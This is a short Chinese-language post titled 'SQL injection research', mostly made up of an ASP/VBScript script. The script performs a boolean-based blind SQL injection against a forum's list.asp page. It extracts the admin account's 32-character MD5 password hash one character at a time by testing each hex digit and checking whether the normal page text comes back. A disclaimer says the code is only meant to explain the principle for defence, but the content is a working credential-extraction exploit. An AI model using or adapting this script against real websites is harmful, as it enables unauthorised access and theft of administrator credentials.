SQL注入研究

'请勿用于非法用途，本代码只是为了让广大ASP爱好者明白原理，防范于未然。

Function bytes2BSTR(vIn)

dim strReturn

dim i,ThisCharCode,NextCharCode

strReturn = ""

For i = 1 To LenB(vIn)

ThisCharCode = AscB(MidB(vIn,i,1))

If ThisCharCode < &H80 Then

strReturn = strReturn & Chr(ThisCharCode)

Else

NextCharCode = AscB(MidB(vIn,i+1,1))

strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

i = i + 1

End If

Next

bytes2BSTR = strReturn

End Function

function getHTTPPage(url)

dim http

set http=createobject("MSXML2.XMLHTTP")

Http.open "GET",url,false

Http.send()

if Http.readystate<>4 then

exit function

end if

getHTTPPage=bytes2BSTR(Http.responseBody)

set http=nothing

if err.number<>0 then err.Clear

end function

Function RegExpTest(patrn, strng)

Dim regEx, retVal ' 建立变量。

Set regEx = New RegExp ' 建立正则表达式。

regEx.Pattern = patrn ' 设置模式。

regEx.IgnoreCase = False ' 设置是否区分大小写。

RegExpTest = regEx.Test(strng) ' 执行搜索测试。

End Function

password=""

keyword="论坛首页"'返回正确页面会出现的字符串

url1="http://qq/bbs/list.asp?boardid=7"'SQL注入入口

passlen=32'MD5密码通常是32位

dim pass

pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)'密码值通常是0-9，a-f

server.ScriptTimeout=999

for i=1 to passlen

flag=false

url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="'构造的SQL语句这里才是关键

for j=0 to ubound(pass)

str=getHTTPPage(url&pass(j))

flag=RegExpTest(keyword,str)

if flag=true then

password=password&chr(pass(j))

exit for

end if

next

next

response.Write(password)